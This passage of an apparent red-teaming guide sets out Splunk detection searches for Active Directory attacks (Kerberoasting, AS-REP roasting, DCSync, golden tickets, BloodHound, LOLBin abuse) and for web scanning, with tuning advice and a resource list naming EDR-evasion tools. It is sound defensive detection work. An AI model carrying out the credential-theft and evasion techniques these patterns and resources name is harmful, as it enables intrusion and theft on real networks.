| eval risk_score=case(
    match(ServiceName,"(?i)sql|exchange|iis|svc|service"), "HIGH",
    true(), "MEDIUM")
| table _time, src_ip, TargetUserName, ServiceName, count, risk_score
| sort - count

OPSEC: FP sources: Legacy applications that explicitly request RC4 tickets (SQL Server linked servers, older IIS app pools); domain controllers performing cross-realm operations. Baseline normal RC4 TGS volume per service over 30 days — alert only on deviation. Any RC4 request for accounts in sensitive groups (Domain Admins, Enterprise Admins) is always high-fidelity regardless of volume.

3. AS-REP Roasting (Pre-Auth Disabled Accounts)

`wineventlog_security` EventCode=4768
    TicketOptions=0x40810010
    TicketEncryptionType=0x17
| stats dc(TargetUserName) as accounts_targeted, values(TargetUserName) as targets by src_ip, _time span=5m
| where accounts_targeted >= 3
| eval severity=if(accounts_targeted >= 10, "CRITICAL", "HIGH")
| table _time, src_ip, accounts_targeted, targets, severity
| sort - accounts_targeted

OPSEC: FP sources: Near-zero in modern environments — accounts with pre-auth disabled are rare and should be tracked. Single-account AS-REP requests may be legitimate service ticket renewals. Any burst of 3+ distinct accounts from one IP in 5 minutes is high-fidelity. Pair with a configuration alert: | tstats ... from datamodel=Change where userAccountControl="*DONT_REQUIRE_PREAUTH*" to catch when pre-auth gets disabled.

4. BloodHound / SharpHound Enumeration

| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime
    from datamodel=Endpoint.Processes
    where (Processes.process="*-collectionMethod*"
        OR Processes.process="*invoke-bloodhound*"
        OR Processes.process="*sharphound*"
        OR Processes.process="*-CollectionMethod All*"
        OR Processes.process="*BloodHound.ps1*")
    by Processes.dest, Processes.user, Processes.process_name, Processes.process
| `drop_dm_object_name(Processes)`
| `security_content_summariesonly`
| eval risk="CRITICAL - Active Directory Enumeration Tool Detected"
| table firstTime, lastTime, dest, user, process_name, process, risk

# Requires: Sysmon EID 1 (Process Create) deployed and forwarded to Splunk

OPSEC: FP sources: Authorized red team or purple team engagements (use the pentest_ranges lookup in the Tuning section to suppress). BloodHound Community Edition may be run by AD admins for legitimate mapping — coordinate with the customer. Process name alone is insufficient; look for the full command line including -collectionMethod All or -c All flags as the high-fidelity signal.

5. DCSync Attack

`wineventlog_security` EventCode=4662
    ObjectType IN ("{19195a5b-6da0-11d0-afd3-00c04fd930c9}", "domainDNS")
    (Properties="*{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}*"
        OR Properties="*{1131f6ab-9c07-11d1-f79f-00c04fc2dcd2}*"
        OR Properties="*{89e95b76-444d-4c62-991a-0facbeda640c}*")
    AccessMask=0x100
| where NOT (SubjectUserName LIKE "%$" AND src_category="domain_controller")
| stats count by SubjectUserName, SubjectDomainName, src_ip, _time span=1m
| eval severity="CRITICAL - DCSync / Replication Privilege Abuse"
| table _time, SubjectUserName, SubjectDomainName, src_ip, count, severity

OPSEC: FP sources: Legitimate domain controller replication (always exclude SubjectUserName ending in $ from DC IPs); Azure AD Connect Sync accounts performing legitimate directory sync (add these accounts to an exclusion list and alert on any changes to that list). This detection is very high-fidelity — a non-DC user account triggering replication properties on the domain root is almost always DCSync.

6. Golden Ticket / Pass-the-Ticket

`wineventlog_security` EventCode=4768
    TicketEncryptionType=0x17
    TargetUserName!="*$"
| join type=left TargetUserName [search `wineventlog_security` EventCode=4769
    | stats count by TargetUserName | rename TargetUserName as TargetUserName]
| eval golden_ticket_indicator=if(isnull(count) OR count=0, "SUSPICIOUS - TGT without prior TGS", "NORMAL")
| where golden_ticket_indicator="SUSPICIOUS - TGT without prior TGS"
| table _time, TargetUserName, src_ip, TicketEncryptionType, golden_ticket_indicator
| sort - _time

OPSEC: FP sources: New domain joins; after password reset events (account requests fresh TGT). Enrich with Event ID 4624 logon type — RC4 TGT followed by lateral movement logon (type 3) from an unexpected workstation is the high-fidelity chain. Correlate with unusual working hours and access to sensitive shares immediately following the TGT.

7. LDAP Enumeration from Non-DC Host

| tstats `security_content_summariesonly` count
    from datamodel=Network_Traffic
    where All_Traffic.app IN ("ldap","ldaps")
        All_Traffic.dest_port IN (389, 636, 3268, 3269)
    by All_Traffic.src, All_Traffic.dest, All_Traffic.app, _time span=5m
| `drop_dm_object_name("All_Traffic")`
| lookup dc_assets dest OUTPUT is_dc
| where isnull(is_dc) OR is_dc!="true"
| stats sum(count) as total_queries by src, dest, app
| where total_queries > 500
| eval severity=case(total_queries > 5000, "CRITICAL", total_queries > 500, "HIGH", true(), "MEDIUM")
| table _time, src, dest, app, total_queries, severity
| sort - total_queries

OPSEC: FP sources: SCCM/MECM doing periodic LDAP queries for computer objects; HR/identity management tools (SailPoint, Saviynt) doing reconciliation; monitoring platforms. Baseline per-source LDAP volume over 14 days and alert on deviations of 3× baseline rather than a hard threshold. The dc_assets lookup must be maintained with current DC IPs.

8. LOLBin Execution (Unusual Path or Parent)

| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime
    from datamodel=Endpoint.Processes
    where Processes.process_name IN ("certutil.exe","mshta.exe","regsvr32.exe",
        "wscript.exe","cscript.exe","rundll32.exe","msiexec.exe","odbcconf.exe",
        "xwizard.exe","ftp.exe","esentutl.exe","expand.exe","extrac32.exe")
        AND NOT (Processes.process_path IN ("*\\System32\\*","*\\SysWOW64\\*")
            OR Processes.process_path IN ("*\\Windows\\*"))
    by Processes.dest, Processes.user, Processes.parent_process_name,
       Processes.process_name, Processes.process_path, Processes.process
| `drop_dm_object_name(Processes)`
| eval risk_level=case(
    match(parent_process_name,"(?i)winword|excel|powerpnt|outlook"), "CRITICAL - Office spawning LOLBin",
    match(parent_process_name,"(?i)wmiprvse|wsmprovhost"), "HIGH - WMI/WinRM LOLBin",
    true(), "MEDIUM - Unusual LOLBin path")
| table firstTime, lastTime, dest, user, parent_process_name, process_name, process_path, risk_level
| sort - firstTime

# Requires: Sysmon EID 1 (Process Create) deployed and forwarded to Splunk

OPSEC: FP sources: Software deployment tools (SCCM, PDQ Deploy) invoking msiexec from non-standard paths; developer environments with local certutil usage; help desk tools calling cscript for automation. The parent_process_name filter is your highest-fidelity lever — Office applications spawning LOLBins is near-zero FP in production. Maintain a lolbin_exclusions lookup for approved parent-child pairs.

Splunk — Web Application Detections

What you're building: Rules that catch scanner fingerprints, brute-force enumeration, and exploitation attempts against web applications — the network-layer complement to the AD detections above.

1. Web Scanner User-Agent Fingerprinting

| tstats `security_content_summariesonly` count
    from datamodel=Web
    where Web.http_user_agent!="unknown"
    by Web.src, Web.http_user_agent, Web.dest, Web.url, _time span=1h
| `drop_dm_object_name("Web")`
| eval scanner_type=case(
    match(http_user_agent,"(?i)nikto"),          "Nikto",
    match(http_user_agent,"(?i)sqlmap"),          "sqlmap",
    match(http_user_agent,"(?i)dirbuster"),       "DirBuster",
    match(http_user_agent,"(?i)gobuster"),         "Gobuster",
    match(http_user_agent,"(?i)wfuzz"),           "WFuzz",
    match(http_user_agent,"(?i)wpscan"),           "WPScan",
    match(http_user_agent,"(?i)acunetix"),         "Acunetix",
    match(http_user_agent,"(?i)nessus"),           "Nessus",
    match(http_user_agent,"(?i)masscan|zgrab"),    "Masscan/ZGrab",
    match(http_user_agent,"(?i)burpsuite|burp\\/"), "Burp Suite",
    match(http_user_agent,"(?i)owasp.*zap|zaproxy"), "OWASP ZAP",
    match(http_user_agent,"(?i)metasploit"),       "Metasploit",
    true(), null())
| where isnotnull(scanner_type)
| stats count, values(url) as sample_urls by src, dest, scanner_type
| sort - count

OPSEC: FP sources: Authorized DAST scanners in CI/CD pipelines (Snyk, Checkmarx DAST, OWASP ZAP scheduled jobs) — suppress via pentest_ranges lookup or approved scanner IP list. Metasploit FP is near-zero in production. Custom scanners using renamed UAs won't match — complement with the high 40x/50x error rate detection below for coverage.

2. High 40x/50x Error Rate from Single Source

| tstats `security_content_summariesonly` count
    from datamodel=Web
    where Web.status IN ("400","401","403","404","405","429","500","501","502","503")
    by Web.src, Web.status, Web.dest, _time span=5m
| `drop_dm_object_name("Web")`
| stats dc(status) as unique_status_codes, sum(count) as total_errors by src, dest
| where unique_status_codes >= 5 AND total_errors >= 200
| eval attack_type=case(
    total_errors >= 1000, "CRITICAL - Active Directory Enumeration or Brute-Force",
    total_errors >= 200,  "HIGH - Web Enumeration or Scanner Activity",
    true(), "MEDIUM")
| table _time, src, dest, unique_status_codes, total_errors, attack_type
| sort - total_errors

OPSEC: FP sources: Misconfigured CDN health checks generating repeated 404s; monitoring tools doing availability checks; broken links from a recent deployment. Baseline per-src error volume over 7 days. Add NOT src IN (cdn_ranges, monitoring_agents) to reduce noise. The combination of unique_status_codes >= 5 AND total_errors >= 200 is the key — random 404s don't produce multiple distinct error codes.

3. Palo Alto Threat Signature Hits (SQLi / XSS / CMDi)

sourcetype="pan:threat" threat_type="vulnerability"
    (signature_name IN ("SQL Injection*","XSS Attack*","Command Injection*",
        "Remote Code Execution*","File Inclusion*","Directory Traversal*"))
| stats count, values(signature_name) as signatures_hit,
    dc(signature_name) as unique_sig_types
    by src_ip, dest_ip, dest_port, app, url
| where count >= 3
| eval severity=case(
    match(mvjoin(signatures_hit," "), "(?i)sql.*inject|command.*inject"), "CRITICAL",
    match(mvjoin(signatures_hit," "), "(?i)xss|file.*include"),           "HIGH",
    true(), "MEDIUM")
| table _time, src_ip, dest_ip, app, url, signatures_hit, unique_sig_types, count, severity
| sort - count

OPSEC: FP sources: Legitimate security testing tools used by developers (running OWASP ZAP against local dev environments that share an IP range); WAF penetration tests. Correlate with Palo Alto action field — alert vs block tells you whether the WAF stopped it or let it through. Any action=allow with severity=CRITICAL is a priority escalation.


Tuning & Pentest Differentiation

What you're building: Mechanisms to separate red team / authorized pentest traffic from real attacker traffic, and to tune detection thresholds to your environment's baseline noise floor.

Pentest-vs-Real-Attack Lookup Table

During authorized assessments, populate the pentest_ranges lookup table with your engagement IPs. Every SPL search above should include this lookup to auto-suppress or re-classify pentest findings:

| lookup pentest_ranges src AS src OUTPUT is_pentest, engagement_name, engagement_end
| eval severity=case(
    is_pentest="true" AND relative_time(now(), "@d") <= engagement_end, "PENTEST - " . engagement_name,
    is_pentest="true" AND relative_time(now(), "@d") > engagement_end,  "EXPIRED PENTEST - INVESTIGATE",
    true(), severity)
| where severity!="PENTEST - " . engagement_name

Create the lookup definition in Splunk:

# Create CSV: pentest_ranges.csv
# Fields: src (CIDR or IP), is_pentest (true/false), engagement_name, engagement_start, engagement_end
# Path: $SPLUNK_HOME/etc/apps/search/lookups/pentest_ranges.csv

# Add lookup definition via CLI or Settings > Lookups > Lookup table files
splunk add lookup-table pentest_ranges.csv -app search

OPSEC: Set an engagement_end date on every pentest entry. The lookup check against relative_time(now(),"@d") ensures suppressions auto-expire — no risk of permanently hiding real attacker traffic that overlaps with a pentest source range.

Detection Threshold Summary Table

Detection Default Threshold Raise if… Lower if…
Password spray dc(user) >= 10 per 10m Shared jump hosts, VPN concentrators aggregating users High-security AD segment, PAM-enforced accounts
Kerberoasting Any RC4 TGS (TicketEncryptionType=0x17) Environments with documented legacy RC4 applications Never lower — RC4 TGS is always suspicious
AS-REP Roasting accounts_targeted >= 3 per 5m Large environments with many service accounts Single account — near-zero FP even at threshold 1
BloodHound / SharpHound Process name match (any) N/A — process name match is already specific N/A — tool name in commandline is high-fidelity
DCSync Any non-DC replication property access N/A N/A — always investigate
LDAP Enumeration total_queries > 500 per 5m Environments with identity governance tools (SailPoint) Environments with no LDAP-heavy applications
Web scanner UA Tool UA string match (any) Environments with authorized DAST in pipelines N/A — UA match is specific
High error rate total_errors >= 200, unique_codes >= 5 CDN-heavy environments, shared egress IPs Environments with rate limiting already enforced

False Positive Quick Reference

Detection Common FP Source Mitigation
Password spraying VPN concentrator / Outlook Anywhere IP Enrich src with asset DB — exclude known gateway IPs
Kerberoasting SQL Server linked servers requesting RC4 Whitelist specific SPNs with documented RC4 requirement
DCSync Azure AD Connect Sync account Add sync account to named exclusion list; alert on changes to that list
LDAP Enumeration SCCM / identity governance polling Baseline normal LDAP volume; alert on 3× deviation
LOLBin execution SCCM deploying MSI packages Build lolbin_exclusions lookup with approved parent-child pairs
Web scanner UA CI/CD DAST scanner (ZAP / Snyk) Add pipeline IPs to pentest_ranges lookup or approved scanner group

Resources

Resource Type Pillar Relevance
ThreatCheck Tool Item 1
SysWhispers3 Tool Items 5, 8
Frida Tool Item 7
Hell's Gate Reference Item 5
Ekko — Sleep Obfuscation Tool Item 6
SilentMoonwalk — Stack Spoofing Tool Item 6
LOLDrivers.io Reference Item 8
PPLdump Tool Item 8
LOLBAS Project Reference Item 8
Sektor7 EDR Evasion Course Course Items 3–6
VX-Underground Papers Research Items 5, 6
MDSec Blog Research All items
OSEP (OffSec) Certification Items 1–4
CRTL (Zero-Point Security) Certification Items 5–8
Splunk Security Research Reference Detection section
Splunk Lantern — Password Spraying Detection Reference Detection section
Splunk Security Content (GitHub) Tool Detection section
SIGMA Rules — SigmaHQ Reference Detection section
Palo Alto PAN-OS Zone Protection Docs Reference Detection section
Palo Alto Custom App-ID Guide Reference Detection section

Part of the Red Teaming 101 series.